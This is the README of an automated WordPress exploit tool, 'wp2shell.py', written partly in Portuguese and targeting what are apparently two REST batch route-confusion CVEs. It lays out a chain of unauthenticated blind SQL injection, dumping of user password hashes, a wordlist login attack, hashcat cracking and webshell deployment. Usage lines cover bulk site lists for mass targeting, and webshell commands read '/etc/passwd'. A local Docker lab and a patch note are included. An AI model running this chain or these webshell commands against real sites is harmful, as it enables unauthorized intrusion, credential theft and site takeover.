
Automated exploit chain for CVE-2026-63030 / CVE-2026-60137 — unauthenticated blind SQLi via WordPress REST batch route-confusion. Dumps user hashes, cracks credentials, deploys webshell. Supports single target and bulk site lists. For authorized security testing only.
Injeção SQL cega por confusão de rota batch do WordPress REST — cadeia de exploração automatizada.
CVE-2026-63030 / CVE-2026-60137
| Afetado | WordPress 6.9.0 – 6.9.4 e 7.0.0 – 7.0.1 |
| Corrigido | WordPress 6.9.5 / 7.0.2 |
| Sink | author__not_in SQL via parâmetro author_exclude dessincronizado |
| Autenticação necessária | Nenhuma (SQLi não autenticada) |
Apenas para testes de segurança autorizados.
O endpoint batch da API REST do WordPress (/wp-json/batch/v1) permite requisições batch aninhadas. Um payload de dessincronização duplamente aninhado desloca os arrays internos $matches / $validation, roteando um valor author_exclude manipulado para dentro do SQL author__not_in sem sanitização. Isso concede injeção SQL cega (booleana e baseada em tempo) não autenticada.
Cadeia de exploração — 4 fases:
Fase 1 Verificação de vulnerabilidade sonda de marcador batch + timing SQL opcional
Fase 2 Colheita de hash SQLi cega extrai wp_users (login + hash)
Fase 3 Autenticação ataque de wordlist via wp-login.php
Fase 4 Implantação de webshell upload de plugin ZIP -> verificação de RCE
aiohttpcoloramapip install aiohttp colorama
Alvo único
python wp2shell.py http://target.com
Lista de sites (uma URL por linha)
python wp2shell.py sites.txt
Lista de sites + arquivo de senha personalizado
python wp2shell.py sites.txt -p pass.txt
Credenciais conhecidas (pular wordlist)
python wp2shell.py http://target.com --user admin --password admin123
Confirmar SQLi com timing
python wp2shell.py http://target.com --confirm-sqli
Sem permalinks amigáveis
python wp2shell.py http://target.com --rest-route
Através de proxy Burp
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
| Arquivo | Conteúdo |
|---|---|
creds.txt | http://target=>user:pass (texto claro se quebrado, hash se não) |
webshell.txt | URL da webshell ativa |
VULNERABLE.txt | Todos os alvos onde a fase 1 confirmou vulnerabilidade |
Todos os arquivos são anexados — os resultados acumulam entre execuções.
Usando a webshell — anexe ?cmd=COMMAND à URL em webshell.txt:
# navegador
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
Se a wordlist não acertar, creds.txt contém o hash extraído:
hashcat -m 400 creds.txt wordlist.txt
Então execute novamente com a senha quebrada:
python wp2shell.py http://target.com --user admin --password <plaintext>
Inicia uma instância vulnerável do WordPress 7.0.1 para testes locais seguros.
Primeira execução — construir volumes e instalar WordPress:
docker compose up -d db wordpress
docker compose run --rm wpcli
Inícios subsequentes:
docker compose up -d db wordpress
Parar:
docker compose down
Reset completo (limpa todos os dados):
docker compose down -v
Executar exploit contra o laboratório:
python wp2shell.py http://localhost:8080
Atualize para WordPress 6.9.5 ou 7.0.2. A correção valida a rota batch antes de despachar requisições aninhadas, evitando a dessincronização que expõe o sink SQL.
Para uso em sistemas que você possui ou com autorização explícita por escrito para testar. O uso não autorizado é ilegal.
| Opção | Padrão | Descrição |
|---|
target | — | URL (http://target) ou caminho para arquivo de lista de sites |
-p FILE | — | Arquivo de lista de senhas (uma por linha) |
--user | — | Pular wordlist, usar este nome de usuário |
--password | — | Pular wordlist, usar esta senha |
--confirm-sqli | desligado | Enviar sonda de timing SQL ativa após verificação do marcador |
--rest-route | desligado | Usar /?rest_route=/batch/v1 (sem permalinks amigáveis) |
--sleep N | 3.0 | Atraso em segundos do SQL SLEEP() |
--samples N | 3 | Pares de amostras de timing para cálculo da mediana |
--timeout N | 30.0 | Tempo limite da requisição HTTP |
--prefix PREFIX | wp_ | Prefixo da tabela do banco de dados |
--proxy URL | — | Proxy HTTP/HTTPS |
| URL | http://localhost:8080 |
| Admin | admin / admin123 |
| Host MySQL | db |
| Usuário/senha MySQL | wpuser / wppass |
| Banco de dados | wordpress |